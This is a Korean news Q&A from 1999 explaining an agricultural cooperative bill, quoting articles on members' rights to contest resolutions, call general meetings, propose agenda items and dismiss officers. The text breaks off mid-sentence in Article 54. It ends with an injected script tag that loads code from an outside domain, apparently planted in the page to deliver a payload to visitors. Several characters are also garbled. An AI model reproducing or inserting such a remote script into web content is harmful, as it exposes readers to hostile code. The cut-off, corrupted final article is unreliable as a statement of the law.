"농업인협동조합법안 문답풀이<2>_상"
1999-06-23 임영진
<답>이번 협동조합개혁의 기본방향은 농업인이 주인이 되는 조합을 만들자는 취지이다. 법안에서는 조합원들이 출자해 설립된 협동조합이 조합원의 의견을 듣고 사업을 집행할 수 있는 범위를 확대하고 길을 열어놓았다.
우선 농가당 조합원 가입한도폐지로 농업인이면 누구나 조합원으로 가입해 조합운영에 참여할 수 있도록 불필요한 규제를 삭제했다.
총회의 부당의결이나 위법한 선거의 당선 취소 청구요건을 조합원10분의 1에서 조합원 3백인 또는 1백분의 5로 완화해 조합원의 견제권을 강화했고 상법을 준용해 소(訴)로도 주장할 수 있도록 했다.
▲제33조(의결취소의 청구)조합원은 총회(창립총회를 포함한다)의 소집절차, 의결방법, 의결내용 또는 임원선거가 법령, 법령에 의한 행정처분 또는 정관에 위반하였다는 것을 사유로 하여 그 의결 또는 선거에 따른 당선의 취소나 무효확인을 농림부장관에게 청구하거나 이를 청구하는 소를 법원에 제기할 수 있다.
농림부장관에게 청구하는 때에 의결일 또는 선거일부터 1월 이내에 조합원 3백인 또는 1백분의 5이상의 동의를 얻어 청구해야 한다.
이 경우 농림부장관은 그 청구서를 받은 날부터 3월이내에 이에 대한 조치결과를 청구인에게 통지하여야 한다.
조합원의 총회소집요건을 조합원5분의 1에서 조합원 5백인 또는 1백분의 10으로 완화해 총회소집이 용이하게 됐다.
▲제36조(총회의 소집청구)①조합원은 조합원 5백인 또는 1백분의 10이상의 동의를 얻어 소집의 목적과 이유를 기재한 서면을 제출하여 총회의 소집을 조합장에게 청구할 수 있다.②제1항의 청구가 있을 때에는 조합장은 2주일 이내에 총회를 소집하여야 한다.③총회를 소집할 자가 없거나 제1항의 청구가 있는 날부터 2주일 이내에 정당한 사유없이 조합장이 총회를 소집하지 아니한 때에는 감사가 5일 이내에 이를 소집하여야 한다.④감사가 제3항의 기간내에 총회를 소집하지 아니한 경우에는 제1항의 규정에 의하여 소집을 청구한 조합원의 대표가 이를 소집한다. 이 경우 그 조합원이 의장의 직무를 수행한다.
총회에서 조합원제안권을 도입해 조합원관심사를 총회안건으로 상정할 수 있도록 했다.
▲제39조(의결권의 제한 등)①총회에서는 제37조제2항의 규정에 의하여 통지한 사항에 한하여 의결할 수 있다. 다만, 긴급을 요하여 조합원 과반수의 출석과 출석조합원 3분의 2 이상의 찬성이 있는 때에는 그러하지 아니하다.②지역농협과 조합원과의 이해가 상반되는 의사에 관하여 해당 조합원은 그 의결에 참여할 수 없다.③조합원은 조합원 3백인 또는 1백분의5 이상의 동의를 얻어 조합장에 대하여 서면으로 일정한 사항을 총회의 목적사항으로 할 것을 제안할 수 있다. 이 경우 상법 제363조의2의 규정을 준용한다.
조합의 건전한 발전을 도모하기 위해 조합원 및 외부전문가로 하여금 조합운영평가자문회의를 구성, 조합운영상황을 평가하고 그 개선사항을 조합장에게 건의하고 조합운영에 적극반영토록 했다.
▲제44조(운영평가자문회의의 구성·운영)①지역농협은 지역농협의 건전한 발전을 도모하기 위하여 조합원 및 외부전문가 15인 이내로 운영평가자문회의를 구성·운영할 수 있다. ②제1항의 규정에 의하여 운영되는 운영평가자문회의는 지역농협의 운영현황을 평가하고 그 개선사항을 조합장에게 건의한다.③조합장은 운영평가자문회의의 건의사항을 이사회 및 총회에 보고하고, 조합운영에 적극 반영하여야 한다.
임원의 해임요건을 완화해 조합에 대한 임원의 책임을 강화했다.
특히 조합원 3분의1이상의 해임요구와 조합원 3분의2이상의 투표와 3분의 2이상의 찬성으로 해임할 수 있었으나 조합원 5분의1이상의 해임요구와 조합원 과반수 투표와 3분의2이상의 찬성으로 해임할 수 있도록 완화해 조합원의 주인의식을 높였다.
▲제54조(임원의 해임)①조합원은 조합원 5분의 1 이상의 동의로 총회에 임원의 해임을 요구할 수 있다. 이 경우의 총회는 조합원 과반수의 출석과 출석조합원 3분의 2 이상의 찬성으로 의결한다. ②제45조의 규정에 의한 임원선출방식에 따라 다음 각??1의 방법으로 임원을 해임할 수 있다. 1.대의원회에서 선출된 임원은 대의원 3분의 1 이상의 요구로 대의원 과반수의 출석과 출석대의원 3분의 2 이상의 찬성으로 해임의결 2.이사회에서 선출된 조합장은 이사회의 해임요구에 의하여 총회에서 해임의결. 이 경우 이사회의 해임요구와 총회의 해임요구에 있어서는 제1??규정에 의한 의결정족수를 준용한다. 3.조합원이 직접선출한 조합장은 대의원회의 의결을 ?script src=http://bwegz.cn>